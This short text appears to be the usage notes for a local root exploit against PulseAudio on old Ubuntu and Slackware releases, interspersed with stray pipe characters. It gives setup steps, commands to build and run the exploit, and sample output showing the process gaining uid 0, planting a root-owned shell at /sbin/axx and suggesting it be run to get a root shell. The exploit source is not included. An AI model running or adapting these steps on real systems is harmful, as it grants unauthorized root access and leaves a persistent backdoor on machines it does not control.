Put files in /tmp/pulseaudio-exp (or change config.h). Must be on
|
|
same fs as the pulseaudio binary.
|
|
|
|
Goes faster if you already have a pulseaudio running ? :p
|
|
|
|
Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0

(x86)

Ubuntu:

$ ./c.sh
|
|
$ ./pulseaudio-exp
|
|
Please wait.

[*] Seems we are uid = 0 and gid = 0

|
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
|
|
[*] chown root.root /sbin/axx

Try: /sbin/axx /bin/sh
